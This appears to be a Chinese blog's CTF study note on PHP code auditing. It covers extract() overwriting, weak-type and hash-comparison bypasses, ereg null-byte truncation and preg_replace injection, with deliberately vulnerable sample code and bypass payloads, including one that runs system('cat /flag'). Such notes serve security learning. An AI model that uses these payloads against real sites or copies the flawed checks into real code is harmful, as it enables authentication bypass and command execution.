zoukankan      html  css  js  c++  java
  • php代码审计整理


    使用说明
    主要是用来查询,ctrl+f 或从目录查找需要的信息
    题目主要是bugku上的代码审计,除了数字正则绕过以外都总结在了这里
    部分知识点未写完
    工具
    Seay代码审计
    Notepad++

    变量覆盖

    1x01.extract 变量覆盖

    定义和用法

    extract() 函数从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
    该函数返回成功设置的变量数目。

    语法

    extract(array,extract_rules,prefix)

    漏洞产生:使用了默认设置

    攻击方法:制造变量名冲突,对于需要相等的值可以同时置空

    修复:设定一个冲突时的处理规则

    例题:

    bugku extract 变量覆盖

    <?php
    $flag='xxx';
    extract($_GET);
     if(isset($shiyan)) { 
          $content=trim(file_get_contents($flag)); 
          if($shiyan==$content) { echo'flag{xxx}'; } 
          else { echo'Oh.no'; } }?>
    

    payload:?shiyan=&content=

    1x02 $$导致的变量覆盖问题

    1x03 全局变量覆盖

    1x04 parse_str()变量覆盖

    1x05 import_request_variables()变量覆盖

    弱类型

    2x00 strcmp

    定义和用法

    strcmp() 函数比较两个字符串。

    注释

    strcmp() 函数是二进制安全的,且对大小写敏感。

    提示

    该函数与 strncmp() 函数类似,不同的是,通过 strncmp() 您可以指定每个字符串用于比较的字符数

    语法

    strcmp(string1,string2)

    返回值: 	
        0 - 如果两个字符串相等
        <0 - 如果 string1 小于 string2
        >0 - 如果 string1 大于 string2
    

    漏洞

    在5.3之前的php中,当两个带比较的字符串中存在类型错误时,显示了报错的警告信息后,返回0

    例题

    bugku strcmp比较字符串

    <?php
    $flag = "flag{xxxxx}";
    if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    //比较两个字符串(区分大小写)
    die('Flag: '.$flag);
    else
    print 'No';
    }
    ?>
    

    payload:?a[]=

    2x01 md5

    定义和用法

    md5() 函数计算字符串的 MD5 散列。
    md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。
    来自 RFC 1321 的解释 - MD5 报文摘要算法:MD5 报文摘要算法将任意长度的信息作为输入值,并将其换算成一个 128 位长度的"指纹信息"或"报文摘要"值来代表这个输入值,并以换算后的值作为结果。MD5 算法主要是为数字签名应用程序而设计的;在这个数字签名应用程序中,较大的文件将在加密(这里的加密过程是通过在一个密码系统下[如:RSA]的公开密钥下设置私有密钥而完成的)之前以一种安全的方式进行压缩。
    如需计算文件的 MD5 散列,请使用 md5_file() 函数。

    语法

    md5(string,raw)
    返回值:
    如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE

    漏洞

    1.md5不能处理数组,返回值为null,比较两个字符串得md5值得时候不能传入数组类型。版本:未知
    2.生日攻击:http://www.ruanyifeng.com/blog/2018/09/hash-collision-and-birthday-attack.html
    当验证的是某字符串md5后的前六位,可以在1-10000中找到一个数满足md5值的前六位与之相同。需要自己写python脚本
    3.取md5值后以0e开头的字符串:https://www.cnblogs.com/yunqian2017/p/13346660.html

    例题

    bugku md5()函数

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if (isset($_GET['username']) and isset($_GET['password'])) { 
          if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.';
          else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); 
          else print 'Invalid password';}
    ?>
    

    payload:?username[]=1&password[]=2

    例题2

    [MRCTF2020]Ez_bypass

    <?php
    include 'flag.php';
    $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
    if(isset($_GET['gg'])&&isset($_GET['id'])) { 
    	$id=$_GET['id']; 
    	$gg=$_GET['gg']; 
    	if (md5($id) === md5($gg) && $id !== $gg) { 
    		echo 'You got the first step';
    		if(isset($_POST['passwd'])) { 
    			$passwd=$_POST['passwd'];
    			if (!is_numeric($passwd)) {
    				if($passwd==1234567) { 
    					echo 'Good Job!'; 
    					highlight_file('flag.php'); 
    					die('By Retr_0'); 
    				} 
    				else { 
    					echo "can you think twice??"; 
    				}
    			} 
    			else{ 
    				echo 'You can not get it !'; 
    				}
    		} 
    		else{
    			die('only one way to get the flag');
    		}
    	} 
    	else { 
    		echo "You are not a real hacker!"; 
    	} 
    } 
    else{ die('Please input first'); } }
    

    payload:
    get:?gg[]=[]&id[]=[%221%22%20=%3E%20%222%22]
    post:passwd=1234567a

    2x02 sha1()

    定义和用法

    sha1() 函数计算字符串的 SHA-1 散列。
    sha1() 函数使用美国 Secure Hash 算法 1。
    来自 RFC 3174 的解释 - 美国 Secure Hash 算法 1:SHA-1 产生一个名为报文摘要的 160 位的输出。报文摘要可以被输入到一个可生成或验证报文签名的签名算法。对报文摘要进行签名,而不是对报文进行签名,这样可以提高进程效率,因为报文摘要的大小通常比报文要小很多。数字签名的验证者必须像数字签名的创建者一样,使用相同的散列算法。

    语法

    sha1(string,raw)

    漏洞

    不能处理数组,会返回null

    例题

    bugku sha()函数比较绕过

    <?php
    $flag = "flag";
    if (isset($_GET['name']) and isset($_GET['password']))
    {
    var_dump($_GET['name']);
    echo "
    ";
    var_dump($_GET['password']);
    var_dump(sha1($_GET['name']));
    var_dump(sha1($_GET['password']));
    if ($_GET['name'] == $_GET['password'])
    echo '
    
    Your password can not be your name!
    ';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);
    else
    echo '
    
    Invalid password.
    ';
    }
    else
    echo '
    
    Login first!
    ';
    ?>
    
    

    payload:?name[]=1&password[]=2

    2x03 ereg()

    定义和用法

    以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

    语法

    ereg ( string $pattern , string $string [, array &$regs ] ) : int
    返回:
    如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。

    漏洞

    1. 不能处理数组
    2. 遇到%00时默认字符串已结束

    例题

    bugku 数组返回NULL绕过

    <?php
    $flag = "flag";
    
    if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    echo 'You password must be alphanumeric';
    else if (strpos ($_GET['password'], '--') !== FALSE)
    die('Flag: ' . $flag);
    else
    echo 'Invalid password';
    }
    ?>
    

    payload:?password[]=
    payload:?password=abc%00--

    例题2

    bugku ereg正则%00截断

    <?php
    $flag = "xxx";
    if (isset ($_GET['password']))
    {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
    echo '
    
    You password must be alphanumeric
    ';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
    if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
    {
    die('Flag: ' . $flag);
    }
    else
    {
    echo('
    
    - have not been found
    ');
    }
    }
    else
    {
    echo '
    
    Invalid password
    ';
    }
    }
    ?>
    

    payload:?password=9e9%00*-*

    例题3

    bugku strpos数组绕过

    <?php
    $flag = "flag";
    if (isset ($_GET['ctf'])) {
    if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
    echo '必须输入数字才行';
    else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
    die('Flag: '.$flag);
    else
    echo '骚年,继续努力吧啊~';
    }
    ?>
    

    payload:?ctf=123%00%23biubiubiu

    2x04 strpos()

    定义和用法

    strpos() 函数查找字符串在另一字符串中第一次出现的位置。
    注释:strpos() 函数对大小写敏感。
    注释:该函数是二进制安全的。

    语法

    strpos(string,find,start)
    返回:
    返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
    注释:字符串位置从 0 开始,不是从 1 开始。

    漏洞

    不能处理数组

    例题

    bugku 数组返回NULL绕过
    同上

    2x06 == 自动类型转换

    说明

    当两边类型不相同时,会自动转换为相同类型。其中字符串与数字的比较,字符串转换成数字。转换规则为,从第一位开始是数字就转为数字,不是数字就为0

    漏洞

    1.会自动截断
    2.当两边都是0e开头的字符串时,会视为数字进行自动转换,配合md5就会绕过

    例题

    bugku 弱类型整数大小比较绕过

    $temp = $_GET['password'];
    is_numeric($temp)?die("no numeric"):NULL;
    if($temp>1336){
    echo $flag;
    

    payload:?password=1337a

    例题2

    bugku md5加密相等绕过

    <?php
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "flag{*}";
    } else {
    echo "false!!!";
    }}
    else{echo "please input a";}
    ?>
    

    分析:md5(QNKCDZO)是以0e开头的
    payload:?a=240610708

    例题3

    bugku 十六进制与数字比较

    <?php
    error_reporting(0);
    function noother_says_correct($temp)
    {
    $flag = 'flag{test}';
    $one = ord('1'); //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
    // Disallow all the digits!
    $digit = ord($temp{$i});
    if ( ($digit >= $one) && ($digit <= $nine) )
    {
    // Aha, digit not allowed!
    return "flase";
    }
    }
    if($number == $temp)
    return $flag;
    }
    $temp = $_GET['password'];
    echo noother_says_correct($temp);
    ?>
    

    payload:?password=0xdeadc0de
    说明:把3735929054转换到16进制

    反序列化

    魔术方法

    例题:

    [0CTF 2016]piapiapia 本题wp

    [网鼎杯 2018]Fakebook 本题wp不知道大佬怎么一眼看出来反序列化的

    反序列化逃逸

    [安洵杯 2019]easy_serialize_php 本题wp

    反序列化逃逸

    [WUSTCTF2020]朴实无华 本题wp

    [ZJCTF 2019]NiZhuanSiWei 本题wp

    preg_replace命令执行漏洞

    [BJDCTF2020]ZJCTF,不过如此
    本题wp
    相关研究
    payload:http://152f4e83-8272-4a30-a835-50be318d8f87.node3.buuoj.cn/next.php?S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

    不完整的序列化使析构函数提前执行

    [网鼎杯 2020 青龙组]AreUSerialz 本题wp 本题wp2

    phar反序列化

    什么是phar

    PHP开发常识:什么是Phar?

    例题

    [SWPUCTF 2018]SimplePHP | [UNSOLVED]
    参考:https://xz.aliyun.com/t/6699

  • 相关阅读:
    hive默认配置 .hiverc
    hive 行列转换
    hive 全表全字段对比
    shell 获取hive表结构
    粘包现象与解决方案
    win 关闭正在使用的端口
    pycharm格式报错: Remove redundant parentheses
    博客系统作业
    django中间件
    django的用户认证组件
  • 原文地址:https://www.cnblogs.com/yunqian2017/p/13966397.html
Copyright © 2011-2022 走看看